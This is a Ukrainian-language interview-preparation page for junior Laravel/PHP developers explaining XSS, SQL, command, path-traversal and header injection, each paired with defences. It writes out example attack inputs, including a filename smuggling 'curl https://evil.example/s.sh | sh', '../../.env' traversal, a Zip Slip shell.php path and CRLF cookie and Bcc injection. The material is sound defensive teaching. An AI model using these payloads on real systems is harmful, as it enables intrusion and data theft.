Junior: питання на співбесіді з теми «Ін'єкції й XSS»
Питання з реальних співбесід з відповідями: Laravel і PHP, бази даних, JavaScript і фронтенд, Git, Docker, API, безпека й архітектура. Тими самими темами, що й тести.
5 питань
XSS (Cross-Site Scripting) - вразливість, за якої нападник змушує сайт показати іншим користувачам свій JavaScript. Скрипт виконується в браузері жертви з правами вашого сайту: читає дані сторінки, робить запити від імені користувача, підміняє форми, краде токени з localStorage.
Три види:
- Збережений (stored) - шкідливий код зберігається на сервері: коментар, ім'я профілю, опис товару. Спрацьовує в кожного, хто відкриє сторінку. Найнебезпечніший.
- Відображений (reflected) - код приходить у параметрі запиту й одразу виводиться у відповіді:
/search?q=<script>...</script>. Жертву треба змусити перейти за посиланням. - DOM-based - вразливість повністю в клієнтському JavaScript: скрипт бере дані з
location.hashчи URL і вставляє черезinnerHTML, сервер навіть не бачить шкідливого вмісту.
Основний захист - екранування при виведенні відповідно до контексту:
{{ $comment->body }} {{-- Blade екранує HTML автоматично --}}
{!! $comment->body !!} {{-- небезпечно для даних користувача --}}
Додаткові рівні:
textContentзамістьinnerHTMLу JavaScript;- санітайзер (HTML Purifier, DOMPurify), якщо HTML від користувача справді потрібен;
- Content Security Policy, що забороняє інлайнові скрипти;
- cookie сесії з
HttpOnly- XSS не зможе її прочитати (хоча робити запити від імені користувача все одно зможе).
Контексти мають значення: екранування для HTML не захищає значення в атрибуті href (javascript:alert(1)), усередині <script> чи CSS. Для кожного контексту - свої правила.
SQL-ін'єкція - коли дані від користувача потрапляють у текст SQL-запиту й змінюють його структуру.
// Вразливо
$sql = "SELECT * FROM users WHERE email = '" . $_GET['email'] . "'";
// email = ' OR '1'='1 → WHERE email = '' OR '1'='1' → усі користувачі
Наслідки - від читання чужих даних і обходу входу до видалення таблиць і, в окремих конфігураціях, виконання команд на сервері.
Захист - підготовлені запити (prepared statements): структура запиту й дані передаються в базу окремо. База спершу розбирає SQL із заповнювачами, а значення підставляє вже як дані - вони не можуть стати частиною синтаксису.
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ?');
$stmt->execute([$email]);
User::where('email', $email)->first(); // Eloquent і Query Builder роблять те саме
Де помиляються навіть з ORM:
- Сирі вирази з конкатенацією:
whereRaw("email = '$email'"),DB::select("... $id"). Сирий SQL - лише з прив'язками:whereRaw('lower(email) = ?', [$email]). - Імена колонок і напрямок сортування не можна передати заповнювачем.
orderBy($request->input('sort'))- звіряти з білим списком дозволених значень. LIKE- заповнювач захищає від ін'єкції, але%і_у введенні все одно працюють як шаблони; їх треба екранувати, якщо це важливо.
Додатково: користувач бази для застосунку з мінімальними правами (без DROP, без доступу до чужих баз) - щоб навіть успішна ін'єкція мала обмежені наслідки.
Ін'єкція команд - дані від користувача потрапляють у рядок, який виконує командна оболонка (shell). Оболонка інтерпретує спецсимволи (;, &&, |, `, $()), і зловмисник дописує власну команду.
// вразливо
$file = $request->input('file');
exec("convert uploads/{$file} -resize 200x200 thumbs/{$file}");
// file = "a.jpg; curl https://evil.example/s.sh | sh"
Наслідок - виконання довільних команд з правами вебсервера: читання .env, встановлення бекдору, доступ до бази.
Захист - у порядку пріоритету:
1. Не викликати shell, якщо є бібліотека. Замість convert - Intervention Image/Imagick, замість curl - HTTP-клієнт, замість zip - ZipArchive.
2. Передавати команду масивом аргументів - тоді оболонка не залучається взагалі, і спецсимволи не мають значення:
use Illuminate\Support\Facades\Process;
Process::run(['convert', "uploads/{$file}", '-resize', '200x200', "thumbs/{$file}"]);
Symfony Process і Laravel Process з масивом передають аргументи програмі напряму. Рядок (Process::run("convert ...")) знову йде через shell.
3. Якщо рядок неминучий - кожен аргумент через escapeshellarg():
exec('convert ' . escapeshellarg($path) . ' ...');
4. Білий список значень для всього, що можна обмежити (формат, розмір, назва операції), і перевірка, що шлях лежить у дозволеному каталозі.
Пастка - ін'єкція аргументів. Навіть без shell значення, що починається з -, програма сприйме як опцію: файл з назвою --output=/var/www/public/shell.php чи -o.... Захист - роздільник -- перед позиційними аргументами (якщо програма його підтримує) і перевірка формату значень.
Додатково:
- функції
exec,system,passthru,shell_execіproc_openможна вимкнути вdisable_functions, якщо застосунку вони не потрібні; - процес вебсервера - з мінімальними правами в системі;
- назви завантажених файлів не використовувати в командах і шляхах - генерувати власні.
Докладніше в документації: OWASP: захист від ін'єкції команд ОС
Обхід шляху - назва файлу від користувача містить ../ і виводить за межі дозволеного каталогу:
// вразливо
Route::get('/download', function (Request $request) {
return response()->download(storage_path('app/invoices/' . $request->query('file')));
});
// file=../../.env → storage/app/invoices/../../.env → .env застосунку
Так читають .env (ключі, паролі бази), конфігурацію, вихідний код, системні файли. У поєднанні із записом файлів (розпакування архівів, збереження за назвою від користувача) - перезапис коду й виконання команд.
Варіанти атаки, які наївна перевірка пропускає:
- закодовані послідовності:
%2e%2e%2f, подвійне кодування%252e; - зворотні слеші на Windows:
..\..\; - абсолютні шляхи:
/etc/passwd; - Zip Slip: архів з файлом
../../public/shell.php- під час розпакування він опиниться поза цільовим каталогом.
Захист:
1. Не приймати шлях від користувача взагалі. Найкраще - ідентифікатор запису в базі, а шлях до файлу береться з бази:
Route::get('/invoices/{invoice}/download', function (Invoice $invoice) {
Gate::authorize('view', $invoice);
return Storage::disk('invoices')->download($invoice->path);
});
Заодно це вирішує й авторизацію: користувач отримує лише свій файл.
2. Якщо назва з запиту неминуча - лише ім'я файлу без каталогів і білий список символів:
$name = basename($request->query('file'));
abort_unless(preg_match('/^[a-z0-9_-]+\.pdf$/i', $name), 404);
3. Перевірка канонічного шляху:
$base = realpath(storage_path('app/invoices'));
$path = realpath($base . DIRECTORY_SEPARATOR . $name);
abort_unless($path !== false && str_starts_with($path, $base . DIRECTORY_SEPARATOR), 404);
4. Розпакування архівів - перевіряти кожен шлях усередині до запису.
Laravel Storage нормалізує шляхи й не дає вийти за корінь диска через ../ (Flysystem кидає виняток для шляхів за межами кореня). Але це не замінює перевірку прав: файл іншого користувача всередині того самого диска - вже не path traversal, а помилка авторизації.
У HTTP і в заголовках листів рядки розділяються символами CR LF (\r\n). Якщо дані користувача потрапляють у заголовок без перевірки, зловмисник вставляє \r\n і додає власні заголовки або навіть тіло відповіді.
У відповідях HTTP:
// вразливо при «сирому» формуванні заголовків
header('Location: /profile?lang=' . $_GET['lang']);
// lang = "uk\r\nSet-Cookie: session=attacker"
Наслідки - встановлення cookie жертві (фіксація сесії), підробка заголовків, у крайньому разі «розщеплення відповіді» (response splitting) з власним HTML.
Сучасний PHP уже захищає функцію header(): вона відхиляє значення з переносом рядка і видає попередження. Symfony/Laravel Response теж не дозволяє переносів у заголовках. Тому в сучасних застосунках проблема виникає рідше, але трапляється:
- у власних обгортках над сокетами, проксі, генерації сирих відповідей;
- у логах: перенос рядка у введенні дозволяє дописати фальшивий рядок журналу (log injection) - заплутати розслідування інциденту.
У листах - класична ін'єкція заголовків пошти: форма зворотного зв'язку бере email відправника в заголовок:
email = "user@example.com\r\nBcc: spam1@example.com, spam2@example.com"
Сервер стає розсильником спаму від вашого домену - а домен потрапляє в чорні списки.
Захист:
- валідувати значення, що йдуть у заголовки: email - правилом
email, мова - білим списком; - використовувати бібліотеки, що формують заголовки самі: Laravel Mail (Symfony Mailer) кодує й перевіряє адреси й теми, не дозволяючи переносів;
- відправник листа - ваша адреса, а email користувача - у
Reply-Toпісля валідації, а не вFrom; - логи у структурованому форматі (JSON) - переноси рядків екрануються автоматично;
- ніколи не будувати заголовки конкатенацією з сирих даних - навіть у «внутрішніх» скриптах.
Загальний принцип ін'єкцій: щоразу, коли дані вставляються в текст, який інша система розбирає (SQL, shell, HTML, заголовки, логи), потрібне кодування під цей конкретний формат або API, що розділяє код і дані.